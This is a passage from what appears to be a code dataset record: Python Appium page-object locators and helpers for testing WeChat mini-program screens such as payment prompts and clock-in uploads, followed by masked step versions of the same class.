start_fingerprint_buy_loc = ('id', 'com.tencent.mm:id/btp') # 开启指纹支付弹窗文本 开启指纹支付，支付时可通过验证指纹快速完成付款。
def text_start_fingerprint_buy(self):
return self.get_text(self.start_fingerprint_buy_loc)
no_more_reminder_btn_loc = ('id', 'com.tencent.mm:id/btq') # 不再提醒
def click_no_more_reminder_btn(self):
self.click(self.no_more_reminder_btn_loc)
cancel_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/azz" and @text="取消"]') # 取消
def click_cancel_btn(self):
self.click(self.cancel_btn_loc)
usd_password_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/fg4" and @text="使用密码"]') # 使用密码
def element_usd_password(self):
return self.find_element(self.usd_password_loc)
def click_usd_password(self):
self.click(self.usd_password_loc)
password_error_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/d8x" and @text="支付密码错误，请重试"]') # 支付密码错误，请重试
def element_password_error(self):
return self.find_element(self.password_error_loc)
again_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/azz" and @text="重试"]') # 重试
def click_again_btn(self):
self.click(self.again_btn_loc)
payment_loc = ('id', 'com.tencent.mm:id/fg3') # 请输入支付密码 文本
def text_payment(self):
return self.get_text(self.payment_loc)
typewriting_finish_btn_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/z2" and @text="完成"]') # 输入法上的完成按钮
def element_typewriting_finish_btn(self):
return self.find_element(self.typewriting_finish_btn_loc)
def click_typewriting_finish_btn(self):
self.click(self.typewriting_finish_btn_loc)
# 打卡
clock_btn_loc = ('xpath', '//*[contains(@text, "打卡")]') # 打卡
def click_clock_btn(self):
self.click(self.clock_btn_loc)
def element_clock_btn(self):
return self.find_element(self.clock_btn_loc)
# com.tencent.mm:id/ox
no_clock_btn_loc = ('xpath', '//*[contains(@text, "你还未开启打卡")]') # 你还未开启打卡
def element_no_clock_btn(self):
return self.find_element(self.no_clock_btn_loc)
get_card_btn_loc = ('xpath', '//*[@text="获取打卡海报" and @class="android.widget.Button"]') # 获取打卡海报
def click_get_card_btn(self):
self.click(self.get_card_btn_loc)
upload_card_btn_loc = ('xpath', '//*[@text="上传截图" and @class="android.widget.Button"]') # 上传截图
def click_upload_card_btn(self):
self.click(self.upload_card_btn_loc)
again_upload_card_btn_loc = ('xpath', '//*[@text="重新上传截图" and @class="android.widget.Button"]') # 重新上传截图
def click_again_upload_card_btn(self):
self.click(self.again_upload_card_btn_loc)
save_img_btn_loc = ('xpath', '//*[@text="保存图片" and @class="android.widget.Button"]') # 保存图片
def click_save_img_btn(self):
self.click(self.save_img_btn_loc)
copy_text_btn_loc = ('xpath', '//*[@text="复制发圈文案" and @class="android.widget.Button"]') # 复制发圈文案
def click_copy_text_btn(self):
self.click(self.copy_text_btn_loc)
copy_format_btn_loc = ('xpath', '//*[contains(@text, "发布朋友圈截图规范")]') # 发布朋友圈截图规范
def element_copy_format_btn(self):
return self.find_element(self.copy_format_btn_loc)
card_go_btn_loc = ('xpath', '//*[contains(@text, "关闭小程序，去朋友圈打卡截图")]') # 关闭小程序，去朋友圈打卡截图
def click_card_go_btn(self):
self.click(self.card_go_btn_loc)
upload_btn_loc = ('xpath', '//*[@text="上传" and @class="android.widget.Button"]') # 上传
def click_upload_btn(self):
self.click(self.upload_btn_loc)
today_card_btn_loc = ('xpath', '//*[contains(@text, "今日已提交打卡")]') # 今日已提交打卡
def element_today_card_btn(self):
return self.find_element(self.today_card_btn_loc)
reset_img_btn_loc = ('xpath', '//*[@text="重新选择截图" and @class="android.widget.Button"]') # 重新选择截图
def click_reset_img_btn(self):
self.click(self.reset_img_btn_loc)
generated_loading_loc = ('xpath', '//*[@resource-id="com.tencent.mm:id/cx" and @text="正在生成..."]') # 正在生成...
def element_generated_loading(self):
return self.find_element(self.generated_loading_loc)
reminder_btn_loc = ('xpath', '//*[contains(@text, "温馨提示")]') # 温馨提示
def element_reminder_btn(self):
return self.find_element(self.reminder_btn_loc)
page_expired_loc = ('xpath', '//*[contains(@text, "页面已经过期")]') # 页面已经过期
def element_page_expired(self):
return self.find_element(self.page_expired_loc)
x_btn_loc = ('id', 'com.tencent.mm:id/kx')
def click_x_btn(self):
self.click(self.x_btn_loc)
|
normal
|
{
"blob_id": "1980fb4d6e7d3c6fe51f4a242610b5489e553859",
"index": 128,
"step-1": "<mask token>\n\n\nclass Zaojiaopage(Crazy):\n <mask token>\n <mask token>\n\n def click_zao(self):\n self.click(self.zao_btn_loc)\n <mask token>\n <mask token>\n\n def click_find(self):\n self.click(self.find_loc)\n <mask token>\n\n def click_title_btn(self):\n self.click(self.title_btn_loc)\n <mask token>\n <mask token>\n\n def click_helper(self):\n self.click(self.helper_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_small_name(self):\n return self.find_element(self.small_name_loc)\n\n def click_small_name(self):\n self.click(self.small_name_loc)\n <mask token>\n\n def click_switching_applet_btn(self):\n self.click(self.switching_applet_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def clicks_experience_version_btn(self):\n self.clicks(self.experience_version_btn_loc, -1)\n <mask token>\n\n def element_audition_class_btn(self):\n return self.find_element(self.audition_class_btn_loc)\n\n def click_audition_class_btn(self):\n self.click(self.audition_class_btn_loc)\n <mask token>\n\n def click_wechat_grant_btn(self):\n self.click(self.wechat_grant_btn_loc)\n\n def double_click_wechat_grant(self):\n self.double_click(self.wechat_grant_btn_loc)\n\n def element_wechat_grant_btn(self):\n return self.find_element(self.wechat_grant_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def element_attend_lectures_btn(self):\n return self.find_element(self.attend_lectures_btn_loc)\n <mask token>\n <mask token>\n\n def element_class_btn(self):\n return self.find_element(self.class_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def input_buy_password(self, paw):\n self.send_keys(self.buy_password_loc, paw)\n <mask token>\n <mask token>\n <mask token>\n\n def click_success_btn(self):\n self.click(self.success_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_add_address_btn(self):\n self.click(self.add_address_btn_loc)\n <mask token>\n\n def input_name_btn(self, name):\n self.send_keys(self.name_loc, name)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def input_detailed_address_btn(self, address):\n self.send_keys(self.detailed_address_btn_loc, address)\n <mask token>\n\n def click_save_btn(self):\n self.click(self.save_btn_loc)\n <mask token>\n\n def click_receive_btn(self):\n self.click(self.receive_btn_loc)\n <mask token>\n <mask token>\n\n def clicks_addressee(self):\n self.clicks(self.addressee_loc, 0)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def element_all_curriculum_btn(self):\n return self.find_element(self.all_curriculum_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def text_my_baby_title(self):\n return self.get_text(self.my_baby_title_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def clicks_new_baby_btn(self, n):\n self.clicks(self.new_baby_btn_loc, n)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_baby_bir_btn(self):\n self.click(self.baby_bir_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_my_home(self):\n self.click(self.my_home_loc)\n\n def element_my_home(self):\n return self.find_element(self.my_home_loc)\n <mask token>\n\n def click_switch_btn(self):\n self.click(self.switch_btn_loc)\n <mask token>\n\n def click_baby_bri(self):\n self.click(self.baby_bri_loc)\n <mask token>\n\n def clicks_class_img(self):\n self.clicks(self.class_img_btn_loc, 0)\n <mask token>\n\n def click_collection_btn(self):\n self.click(self.collection_btn_loc)\n\n def clicks_collection_btn(self, n):\n self.clicks(self.collection_btn_loc, n)\n <mask token>\n <mask token>\n\n def click_write_record_btn(self):\n self.click(self.write_record_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_album_btn(self):\n return self.find_element(self.album_btn_loc)\n <mask token>\n <mask token>\n\n def element_small_video_btn(self):\n return self.find_element(self.small_video_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_record_info(self, data):\n record_info_loc = 'xpath', '//*[contains(@text, \"{}\")]'.format(data)\n record_info = self.find_element(record_info_loc)\n if record_info:\n return True\n else:\n return False\n <mask token>\n <mask token>\n <mask token>\n\n def elements_class_name(self):\n return self.find_elements(self.class_name_loc)\n <mask token>\n\n def click_class2_name(self):\n self.click(self.class_name2_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def elements_choice_album(self):\n return self.find_elements(self.choice_album_loc)\n <mask token>\n\n def click_complete_btn(self):\n self.click(self.complete_btn_loc)\n <mask token>\n\n def click_my_collection_btn(self):\n self.click(self.my_collection_btn_loc)\n <mask token>\n\n def elements_my_collection_english_course_btn(self):\n return self.find_elements(self.my_collection_english_course_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_my_course_btn(self):\n self.click(self.my_course_btn_loc)\n <mask token>\n\n def elements_my_course_buy_btn(self):\n return self.find_elements(self.my_course_buy_btn_loc)\n <mask token>\n\n def click_my_order_btn(self):\n self.click(self.my_order_btn_loc)\n <mask token>\n\n def elements_my_order_card_btn(self):\n return self.find_elements(self.my_order_card_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def elements_my_record_class_btn(self):\n return self.find_elements(self.my_record_class_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def clicks_reply_code(self, n):\n self.clicks(self.reply_code_loc, n)\n <mask token>\n\n def element_long_code(self):\n return self.find_element(self.long_code_loc)\n\n def click_long_code(self):\n self.click(self.long_code_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def text_class_group(self):\n return self.get_text(self.class_group_loc)\n <mask token>\n\n def element_add_group_chat(self):\n return self.find_element(self.add_group_chat_loc)\n <mask token>\n\n def elements_reply_8(self):\n return self.find_elements(self.reply_8_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_more_games_btn(self):\n self.click(self.more_games_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def text_start_fingerprint_buy(self):\n return self.get_text(self.start_fingerprint_buy_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_cancel_btn(self):\n self.click(self.cancel_btn_loc)\n <mask token>\n\n def element_usd_password(self):\n return self.find_element(self.usd_password_loc)\n <mask token>\n <mask token>\n\n def element_password_error(self):\n return self.find_element(self.password_error_loc)\n <mask token>\n\n def click_again_btn(self):\n self.click(self.again_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_typewriting_finish_btn(self):\n return self.find_element(self.typewriting_finish_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_clock_btn(self):\n return self.find_element(self.clock_btn_loc)\n <mask token>\n\n def element_no_clock_btn(self):\n return self.find_element(self.no_clock_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_upload_card_btn(self):\n self.click(self.upload_card_btn_loc)\n <mask token>\n\n def click_again_upload_card_btn(self):\n self.click(self.again_upload_card_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def element_copy_format_btn(self):\n return self.find_element(self.copy_format_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_upload_btn(self):\n self.click(self.upload_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_reset_img_btn(self):\n self.click(self.reset_img_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_reminder_btn(self):\n return self.find_element(self.reminder_btn_loc)\n <mask token>\n\n def element_page_expired(self):\n return self.find_element(self.page_expired_loc)\n <mask token>\n\n def click_x_btn(self):\n self.click(self.x_btn_loc)\n",
"step-2": "<mask token>\n\n\nclass Zaojiaopage(Crazy):\n <mask token>\n <mask token>\n\n def click_zao(self):\n self.click(self.zao_btn_loc)\n <mask token>\n <mask token>\n\n def click_find(self):\n self.click(self.find_loc)\n <mask token>\n\n def click_title_btn(self):\n self.click(self.title_btn_loc)\n <mask token>\n <mask token>\n\n def click_helper(self):\n self.click(self.helper_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_small_name(self):\n return self.find_element(self.small_name_loc)\n\n def click_small_name(self):\n self.click(self.small_name_loc)\n <mask token>\n\n def click_switching_applet_btn(self):\n self.click(self.switching_applet_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def clicks_experience_version_btn(self):\n self.clicks(self.experience_version_btn_loc, -1)\n <mask token>\n\n def element_audition_class_btn(self):\n return self.find_element(self.audition_class_btn_loc)\n\n def click_audition_class_btn(self):\n self.click(self.audition_class_btn_loc)\n <mask token>\n\n def click_wechat_grant_btn(self):\n self.click(self.wechat_grant_btn_loc)\n\n def double_click_wechat_grant(self):\n self.double_click(self.wechat_grant_btn_loc)\n\n def element_wechat_grant_btn(self):\n return self.find_element(self.wechat_grant_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_mouth_btn(self):\n self.click(self.month_btn_loc)\n <mask token>\n\n def click_sure_btn(self):\n self.click(self.sure_btn_loc)\n <mask token>\n\n def class_info_btn(self):\n self.click(self.class_info_loc)\n <mask token>\n\n def element_attend_lectures_btn(self):\n return self.find_element(self.attend_lectures_btn_loc)\n <mask token>\n <mask token>\n\n def element_class_btn(self):\n return self.find_element(self.class_btn_loc)\n <mask token>\n <mask token>\n\n def element_get_to_know_btn(self):\n return self.find_element(self.get_to_know_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def input_buy_password(self, paw):\n self.send_keys(self.buy_password_loc, paw)\n <mask token>\n <mask token>\n <mask token>\n\n def click_success_btn(self):\n self.click(self.success_btn_loc)\n <mask token>\n\n def click_check_address_btn(self):\n self.click(self.check_address_btn_loc)\n <mask token>\n <mask token>\n\n def click_add_address_btn(self):\n self.click(self.add_address_btn_loc)\n <mask token>\n\n def input_name_btn(self, name):\n self.send_keys(self.name_loc, name)\n <mask token>\n\n def input_phone_btn(self, phone):\n self.send_keys(self.phone_btn_loc, phone)\n <mask token>\n <mask token>\n <mask token>\n\n def input_detailed_address_btn(self, address):\n self.send_keys(self.detailed_address_btn_loc, address)\n <mask token>\n\n def click_save_btn(self):\n self.click(self.save_btn_loc)\n <mask token>\n\n def click_receive_btn(self):\n self.click(self.receive_btn_loc)\n <mask token>\n <mask token>\n\n def clicks_addressee(self):\n self.clicks(self.addressee_loc, 0)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def element_all_curriculum_btn(self):\n return self.find_element(self.all_curriculum_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def element_my_btn(self):\n return self.find_element(self.my_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def text_my_baby_title(self):\n return self.get_text(self.my_baby_title_loc)\n <mask token>\n <mask token>\n\n def element_new_baby_btn(self):\n return self.find_element(self.new_baby_btn_loc)\n <mask token>\n\n def clicks_new_baby_btn(self, n):\n self.clicks(self.new_baby_btn_loc, n)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_baby_bir_btn(self):\n self.click(self.baby_bir_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_my_home(self):\n self.click(self.my_home_loc)\n\n def element_my_home(self):\n return self.find_element(self.my_home_loc)\n <mask token>\n\n def click_switch_btn(self):\n self.click(self.switch_btn_loc)\n <mask token>\n\n def click_baby_bri(self):\n self.click(self.baby_bri_loc)\n <mask token>\n\n def clicks_class_img(self):\n self.clicks(self.class_img_btn_loc, 0)\n <mask token>\n\n def click_collection_btn(self):\n self.click(self.collection_btn_loc)\n\n def clicks_collection_btn(self, n):\n self.clicks(self.collection_btn_loc, n)\n <mask token>\n <mask token>\n\n def click_write_record_btn(self):\n self.click(self.write_record_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_album_btn(self):\n return self.find_element(self.album_btn_loc)\n <mask token>\n <mask token>\n\n def element_small_video_btn(self):\n return self.find_element(self.small_video_btn_loc)\n <mask token>\n <mask token>\n\n def clicks_release_btn(self, n):\n self.clicks(self.release_btn_loc, n)\n\n def element_record_info(self, data):\n record_info_loc = 'xpath', '//*[contains(@text, \"{}\")]'.format(data)\n record_info = self.find_element(record_info_loc)\n if record_info:\n return True\n else:\n return False\n <mask token>\n <mask token>\n <mask token>\n\n def elements_class_name(self):\n return self.find_elements(self.class_name_loc)\n <mask token>\n\n def click_class2_name(self):\n self.click(self.class_name2_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def clicks_choice_album(self, n):\n self.clicks(self.choice_album_loc, n)\n\n def elements_choice_album(self):\n return self.find_elements(self.choice_album_loc)\n <mask token>\n\n def click_complete_btn(self):\n self.click(self.complete_btn_loc)\n <mask token>\n\n def click_my_collection_btn(self):\n self.click(self.my_collection_btn_loc)\n <mask token>\n\n def elements_my_collection_english_course_btn(self):\n return self.find_elements(self.my_collection_english_course_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_my_course_btn(self):\n self.click(self.my_course_btn_loc)\n <mask token>\n\n def elements_my_course_buy_btn(self):\n return self.find_elements(self.my_course_buy_btn_loc)\n <mask token>\n\n def click_my_order_btn(self):\n self.click(self.my_order_btn_loc)\n <mask token>\n\n def elements_my_order_card_btn(self):\n return self.find_elements(self.my_order_card_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def elements_my_record_class_btn(self):\n return self.find_elements(self.my_record_class_btn_loc)\n <mask token>\n <mask token>\n\n def click_back_btn(self):\n self.click(self.back_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_send(self):\n self.click(self.send_5_loc)\n <mask token>\n <mask token>\n\n def clicks_reply_code(self, n):\n self.clicks(self.reply_code_loc, n)\n <mask token>\n\n def element_long_code(self):\n return self.find_element(self.long_code_loc)\n\n def click_long_code(self):\n self.click(self.long_code_loc)\n <mask token>\n\n def click_discern_code(self):\n self.click(self.discern_code_loc)\n <mask token>\n\n def text_class_group(self):\n return self.get_text(self.class_group_loc)\n <mask token>\n\n def element_add_group_chat(self):\n return self.find_element(self.add_group_chat_loc)\n <mask token>\n\n def elements_reply_8(self):\n return self.find_elements(self.reply_8_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_more_games_btn(self):\n self.click(self.more_games_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def text_start_fingerprint_buy(self):\n return self.get_text(self.start_fingerprint_buy_loc)\n <mask token>\n\n def click_no_more_reminder_btn(self):\n self.click(self.no_more_reminder_btn_loc)\n <mask token>\n\n def click_cancel_btn(self):\n self.click(self.cancel_btn_loc)\n <mask token>\n\n def element_usd_password(self):\n return self.find_element(self.usd_password_loc)\n <mask token>\n <mask token>\n\n def element_password_error(self):\n return self.find_element(self.password_error_loc)\n <mask token>\n\n def click_again_btn(self):\n self.click(self.again_btn_loc)\n <mask token>\n\n def text_payment(self):\n return self.get_text(self.payment_loc)\n <mask token>\n\n def element_typewriting_finish_btn(self):\n return self.find_element(self.typewriting_finish_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_clock_btn(self):\n return self.find_element(self.clock_btn_loc)\n <mask token>\n\n def element_no_clock_btn(self):\n return self.find_element(self.no_clock_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_upload_card_btn(self):\n self.click(self.upload_card_btn_loc)\n <mask token>\n\n def click_again_upload_card_btn(self):\n self.click(self.again_upload_card_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_copy_text_btn(self):\n self.click(self.copy_text_btn_loc)\n <mask token>\n\n def element_copy_format_btn(self):\n return self.find_element(self.copy_format_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_upload_btn(self):\n self.click(self.upload_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_reset_img_btn(self):\n self.click(self.reset_img_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_reminder_btn(self):\n return self.find_element(self.reminder_btn_loc)\n <mask token>\n\n def element_page_expired(self):\n return self.find_element(self.page_expired_loc)\n <mask token>\n\n def click_x_btn(self):\n self.click(self.x_btn_loc)\n",
"step-3": "<mask token>\n\n\nclass Zaojiaopage(Crazy):\n <mask token>\n <mask token>\n\n def click_zao(self):\n self.click(self.zao_btn_loc)\n\n def element_zao(self):\n return self.find_element(self.zao_btn_loc)\n <mask token>\n\n def click_find(self):\n self.click(self.find_loc)\n <mask token>\n\n def click_title_btn(self):\n self.click(self.title_btn_loc)\n <mask token>\n <mask token>\n\n def click_helper(self):\n self.click(self.helper_loc)\n <mask token>\n\n def click_small_help_btn(self):\n self.click(self.small_help_btn_loc)\n <mask token>\n\n def element_small_name(self):\n return self.find_element(self.small_name_loc)\n\n def click_small_name(self):\n self.click(self.small_name_loc)\n <mask token>\n\n def click_switching_applet_btn(self):\n self.click(self.switching_applet_btn_loc)\n <mask token>\n\n def click_delete_small_btn(self):\n self.click(self.delete_small_btn_loc)\n <mask token>\n\n def element_edition_btn(self):\n return self.find_element(self.edition_btn_loc)\n <mask token>\n\n def element_delete_small1_btn(self):\n return self.find_element(self.delete_small1_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def clicks_experience_version_btn(self):\n self.clicks(self.experience_version_btn_loc, -1)\n <mask token>\n\n def element_audition_class_btn(self):\n return self.find_element(self.audition_class_btn_loc)\n\n def click_audition_class_btn(self):\n self.click(self.audition_class_btn_loc)\n <mask token>\n\n def click_wechat_grant_btn(self):\n self.click(self.wechat_grant_btn_loc)\n\n def double_click_wechat_grant(self):\n self.double_click(self.wechat_grant_btn_loc)\n\n def element_wechat_grant_btn(self):\n return self.find_element(self.wechat_grant_btn_loc)\n <mask token>\n\n def click_allow_btn(self):\n self.click(self.allow_btn_loc)\n <mask token>\n\n def click_mouth_btn(self):\n self.click(self.month_btn_loc)\n <mask token>\n\n def click_sure_btn(self):\n self.click(self.sure_btn_loc)\n <mask token>\n\n def class_info_btn(self):\n self.click(self.class_info_loc)\n <mask token>\n\n def element_attend_lectures_btn(self):\n return self.find_element(self.attend_lectures_btn_loc)\n <mask token>\n <mask token>\n\n def element_class_btn(self):\n return self.find_element(self.class_btn_loc)\n <mask token>\n\n def click_get_to_know_btn(self):\n self.click(self.get_to_know_btn_loc)\n\n def element_get_to_know_btn(self):\n return self.find_element(self.get_to_know_btn_loc)\n <mask token>\n\n def click_sure_buy_btn(self):\n self.click(self.sure_buy_btn_loc)\n <mask token>\n\n def input_buy_password(self, paw):\n self.send_keys(self.buy_password_loc, paw)\n <mask token>\n\n def text_buy_money(self):\n return self.get_text(self.check_buy_money_loc)\n <mask token>\n\n def click_success_btn(self):\n self.click(self.success_btn_loc)\n <mask token>\n\n def click_check_address_btn(self):\n self.click(self.check_address_btn_loc)\n <mask token>\n <mask token>\n\n def click_add_address_btn(self):\n self.click(self.add_address_btn_loc)\n <mask token>\n\n def input_name_btn(self, name):\n self.send_keys(self.name_loc, name)\n <mask token>\n\n def input_phone_btn(self, phone):\n self.send_keys(self.phone_btn_loc, phone)\n <mask token>\n <mask token>\n <mask token>\n\n def input_detailed_address_btn(self, address):\n self.send_keys(self.detailed_address_btn_loc, address)\n <mask token>\n\n def click_save_btn(self):\n self.click(self.save_btn_loc)\n <mask token>\n\n def click_receive_btn(self):\n self.click(self.receive_btn_loc)\n <mask token>\n\n def elements_addressee(self):\n return self.find_elements(self.addressee_loc)\n\n def clicks_addressee(self):\n self.clicks(self.addressee_loc, 0)\n <mask token>\n <mask token>\n\n def click_know(self):\n self.click(self.know_btn_loc)\n <mask token>\n\n def element_all_curriculum_btn(self):\n return self.find_element(self.all_curriculum_btn_loc)\n\n def click_all_curriculum_btn(self):\n self.click(self.all_curriculum_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_my_btn(self):\n return self.find_element(self.my_btn_loc)\n <mask token>\n <mask token>\n\n def click_my_baby(self):\n self.click(self.my_baby_btn_loc)\n <mask token>\n\n def text_my_baby_title(self):\n return self.get_text(self.my_baby_title_loc)\n <mask token>\n <mask token>\n\n def element_new_baby_btn(self):\n return self.find_element(self.new_baby_btn_loc)\n\n def click_new_baby_btn(self):\n self.click(self.new_baby_btn_loc)\n\n def clicks_new_baby_btn(self, n):\n self.clicks(self.new_baby_btn_loc, n)\n <mask token>\n\n def element_get_set(self):\n return self.find_element(self.get_set_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def inputs_baby_name(self, name, n):\n self.sends_keys(self.baby_name_loc, name, n)\n <mask token>\n\n def click_baby_bir_btn(self):\n self.click(self.baby_bir_btn_loc)\n <mask token>\n\n def click_finish_btn(self):\n self.click(self.finish_btn_loc)\n <mask token>\n <mask token>\n\n def click_my_home(self):\n self.click(self.my_home_loc)\n\n def element_my_home(self):\n return self.find_element(self.my_home_loc)\n <mask token>\n\n def click_switch_btn(self):\n self.click(self.switch_btn_loc)\n <mask token>\n\n def click_baby_bri(self):\n self.click(self.baby_bri_loc)\n <mask token>\n\n def clicks_class_img(self):\n self.clicks(self.class_img_btn_loc, 0)\n <mask token>\n\n def click_collection_btn(self):\n self.click(self.collection_btn_loc)\n\n def clicks_collection_btn(self, n):\n self.clicks(self.collection_btn_loc, n)\n <mask token>\n <mask token>\n\n def click_write_record_btn(self):\n self.click(self.write_record_btn_loc)\n\n def clicks_write_record_btn(self, n):\n self.clicks(self.write_record_btn_loc, n)\n <mask token>\n\n def click_album_btn(self):\n self.click(self.album_btn_loc)\n\n def element_album_btn(self):\n return self.find_element(self.album_btn_loc)\n <mask token>\n\n def click_small_video_btn(self):\n self.click(self.small_video_btn_loc)\n\n def element_small_video_btn(self):\n return self.find_element(self.small_video_btn_loc)\n <mask token>\n <mask token>\n\n def clicks_release_btn(self, n):\n self.clicks(self.release_btn_loc, n)\n\n def element_record_info(self, data):\n record_info_loc = 'xpath', '//*[contains(@text, \"{}\")]'.format(data)\n record_info = self.find_element(record_info_loc)\n if record_info:\n return True\n else:\n return False\n <mask token>\n <mask token>\n <mask token>\n\n def elements_class_name(self):\n return self.find_elements(self.class_name_loc)\n <mask token>\n\n def click_class2_name(self):\n self.click(self.class_name2_loc)\n <mask token>\n <mask token>\n\n def input_write_text(self, text):\n self.send_keys(self.write_text_loc, text)\n <mask token>\n <mask token>\n\n def clicks_choice_album(self, n):\n self.clicks(self.choice_album_loc, n)\n\n def elements_choice_album(self):\n return self.find_elements(self.choice_album_loc)\n <mask token>\n\n def click_complete_btn(self):\n self.click(self.complete_btn_loc)\n <mask token>\n\n def click_my_collection_btn(self):\n self.click(self.my_collection_btn_loc)\n <mask token>\n\n def elements_my_collection_english_course_btn(self):\n return self.find_elements(self.my_collection_english_course_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_my_course_btn(self):\n self.click(self.my_course_btn_loc)\n <mask token>\n\n def elements_my_course_buy_btn(self):\n return self.find_elements(self.my_course_buy_btn_loc)\n <mask token>\n\n def click_my_order_btn(self):\n self.click(self.my_order_btn_loc)\n <mask token>\n\n def elements_my_order_card_btn(self):\n return self.find_elements(self.my_order_card_btn_loc)\n <mask token>\n\n def click_my_record_btn(self):\n self.click(self.my_record_btn_loc)\n <mask token>\n\n def elements_my_record_class_btn(self):\n return self.find_elements(self.my_record_class_btn_loc)\n <mask token>\n\n def element_back_btn(self):\n return self.find_element(self.back_btn_loc)\n\n def click_back_btn(self):\n self.click(self.back_btn_loc)\n <mask token>\n\n def click_reply_5(self):\n self.click(self.reply_5_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def input_reply_5(self, num):\n self.send_keys(self.reply_input_5_loc, num)\n <mask token>\n\n def click_send(self):\n self.click(self.send_5_loc)\n <mask token>\n <mask token>\n\n def clicks_reply_code(self, n):\n self.clicks(self.reply_code_loc, n)\n <mask token>\n\n def element_long_code(self):\n return self.find_element(self.long_code_loc)\n\n def click_long_code(self):\n self.click(self.long_code_loc)\n <mask token>\n\n def click_discern_code(self):\n self.click(self.discern_code_loc)\n <mask token>\n\n def text_class_group(self):\n return self.get_text(self.class_group_loc)\n <mask token>\n\n def element_add_group_chat(self):\n return self.find_element(self.add_group_chat_loc)\n <mask token>\n\n def elements_reply_8(self):\n return self.find_elements(self.reply_8_loc)\n <mask token>\n\n def element_parent_btn(self):\n return self.find_element(self.parent_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def click_more_games_btn(self):\n self.click(self.more_games_btn_loc)\n <mask token>\n\n def click_look_all_btn(self):\n self.click(self.look_all_btn_loc)\n\n def element_look_all_btn(self):\n return self.find_elements(self.look_all_btn_loc)\n <mask token>\n\n def text_start_fingerprint_buy(self):\n return self.get_text(self.start_fingerprint_buy_loc)\n <mask token>\n\n def click_no_more_reminder_btn(self):\n self.click(self.no_more_reminder_btn_loc)\n <mask token>\n\n def click_cancel_btn(self):\n self.click(self.cancel_btn_loc)\n <mask token>\n\n def element_usd_password(self):\n return self.find_element(self.usd_password_loc)\n <mask token>\n <mask token>\n\n def element_password_error(self):\n return self.find_element(self.password_error_loc)\n <mask token>\n\n def 